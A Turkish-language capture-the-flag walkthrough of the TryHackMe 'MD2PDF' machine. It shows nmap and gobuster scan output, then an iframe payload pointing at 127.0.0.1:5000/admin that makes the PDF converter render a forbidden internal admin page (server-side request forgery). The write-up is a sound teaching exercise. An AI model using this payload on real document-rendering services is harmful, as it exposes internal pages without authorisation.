TryHackMe – MD2PDF Makine Çözümü

Alper Karaca03 mins

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “MD2PDF” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

[root:/home/alper/Desktop/TRYHACKME]# nmap -sS -sV 10.10.84.143
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-08 12:35 +03
WARNING: Service 10.10.84.143:80 had already soft-matched rtsp, but now soft-matched sip; ignoring second value
WARNING: Service 10.10.84.143:5000 had already soft-matched rtsp, but now soft-matched sip; ignoring second value
Nmap scan report for 10.10.84.143
Host is up (0.067s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  rtsp
5000/tcp open  rtsp

2 — Dizin taraması yapıyorum.

[root:/home/alper/Desktop/TRYHACKME]# gobuster dir -u http://10.10.84.143 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.84.143
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/08 12:35:30 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 403) [Size: 166]

3 — MD2PDF (Markdown to PDF), bir HTML sayfasını pdf formatında çıktısını veren bir servistir. Dizin taramasında bulduğumuz fakat görüntüleyemediğimiz “admin” dizinini MD2PDF ile görüntüleyebiliriz. Bunun için adresi iframe etiketlerinin içine koyuyorum. iframe etiketlerini sayfa için sayfa gibi düşünebilirsiniz. İframe içine verdiğimiz sayfayı MD2PDF, görüntüleyecek ve o çıktıyı da PDF formatında bize sunacak.

<iframe src="http://127.0.0.1:5000/admin"></iframe>

4 — Açılan sayfada bayrağı elde ediyorum.

Related News